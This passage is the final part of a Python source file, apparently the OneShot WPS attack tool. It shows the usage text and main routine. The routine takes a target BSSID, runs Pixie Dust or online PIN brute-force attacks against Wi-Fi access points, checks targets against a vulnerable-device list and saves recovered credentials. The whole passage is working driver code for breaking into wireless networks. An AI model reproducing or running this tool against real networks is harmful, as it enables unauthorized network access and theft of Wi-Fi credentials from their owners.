range) 1096 | -X, --show-pixie-cmd : Always print Pixiewps command 1097 | --vuln-list= : Use custom file with vulnerable devices list ['vulnwsc.txt'] 1098 | --iface-down : Down network interface when the work is finished 1099 | -l, --loop : Run in a loop 1100 | -r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays 1101 | -v, --verbose : Verbose output 1102 | 1103 | Example: 1104 | %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K 1105 | """ 1106 | 1107 | 1108 | if __name__ == '__main__': 1109 | import argparse 1110 | 1111 | parser = argparse.ArgumentParser( 1112 | description='OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg', 1113 | epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K' 1114 | ) 1115 | 1116 | parser.add_argument( 1117 | '-i', '--interface', 1118 | type=str, 1119 | required=True, 1120 | help='Name of the interface to use' 1121 | ) 1122 | parser.add_argument( 1123 | '-b', '--bssid', 1124 | type=str, 1125 | help='BSSID of the target AP' 1126 | ) 1127 | parser.add_argument( 1128 | '-p', '--pin', 1129 | type=str, 1130 | help='Use the specified pin (arbitrary string or 4/8 digit pin)' 1131 | ) 1132 | parser.add_argument( 1133 | '-K', '--pixie-dust', 1134 | action='store_true', 1135 | help='Run Pixie Dust attack' 1136 | ) 1137 | parser.add_argument( 1138 | '-F', '--pixie-force', 1139 | action='store_true', 1140 | help='Run Pixiewps with --force option (bruteforce full range)' 1141 | ) 1142 | parser.add_argument( 1143 | '-X', '--show-pixie-cmd', 1144 | action='store_true', 1145 | help='Always print Pixiewps command' 1146 | ) 1147 | parser.add_argument( 1148 | '-B', '--bruteforce', 1149 | action='store_true', 1150 | help='Run online bruteforce attack' 1151 | ) 1152 | parser.add_argument( 1153 | '--pbc', '--push-button-connect', 1154 | action='store_true', 1155 | help='Run WPS push button connection' 1156 | ) 1157 | parser.add_argument( 1158 | '-d', '--delay', 1159 | type=float, 1160 | help='Set the delay between pin attempts' 1161 | ) 1162 | parser.add_argument( 1163 | '-w', '--write', 1164 | action='store_true', 1165 | help='Write credentials to the file on success' 1166 | ) 1167 | parser.add_argument( 1168 | '--iface-down', 1169 | action='store_true', 1170 | help='Down network interface when the work is finished' 1171 | ) 1172 | parser.add_argument( 1173 | '--vuln-list', 1174 | type=str, 1175 | default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt', 1176 | help='Use custom file with vulnerable devices list' 1177 | ) 1178 | parser.add_argument( 1179 | '-l', '--loop', 1180 | action='store_true', 1181 | help='Run in a loop' 1182 | ) 1183 | parser.add_argument( 1184 | '-r', '--reverse-scan', 1185 | action='store_true', 1186 | help='Reverse order of networks in the list of networks. Useful on small displays' 1187 | ) 1188 | parser.add_argument( 1189 | '-v', '--verbose', 1190 | action='store_true', 1191 | help='Verbose output' 1192 | ) 1193 | 1194 | args = parser.parse_args() 1195 | 1196 | if sys.hexversion < 0x03060F0: 1197 | die("The program requires Python 3.6 and above") 1198 | if os.getuid() != 0: 1199 | die("Run it as root") 1200 | 1201 | if not ifaceUp(args.interface): 1202 | die('Unable to up interface "{}"'.format(args.interface)) 1203 | 1204 | while True: 1205 | try: 1206 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1207 | if args.pbc: 1208 | companion.single_connection(pbc_mode=True) 1209 | else: 1210 | if not args.bssid: 1211 | try: 1212 | with open(args.vuln_list, 'r', encoding='utf-8') as file: 1213 | vuln_list = file.read().splitlines() 1214 | except FileNotFoundError: 1215 | vuln_list = [] 1216 | scanner = WiFiScanner(args.interface, vuln_list) 1217 | if not args.loop: 1218 | print('[*] BSSID not specified (--bssid) — scanning for available networks') 1219 | args.bssid = scanner.prompt_network() 1220 | 1221 | if args.bssid: 1222 | companion = Companion(args.interface, args.write, print_debug=args.verbose) 1223 | if args.bruteforce: 1224 | companion.smart_bruteforce(args.bssid, args.pin, args.delay) 1225 | else: 1226 | companion.single_connection(args.bssid, args.pin, args.pixie_dust, 1227 | args.show_pixie_cmd, args.pixie_force) 1228 | if not args.loop: 1229 | break 1230 | else: 1231 | args.bssid = None 1232 | except KeyboardInterrupt: 1233 | if args.loop: 1234 | if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y': 1235 | print("Aborting…") 1236 | break 1237 | else: 1238 | args.bssid = None 1239 | else: 1240 | print("\nAborting…") 1241 | break 1242 | 1243 | if args.iface_down: 1244 | ifaceUp(args.interface, down=True) 1245 | --------------------------------------------------------------------------------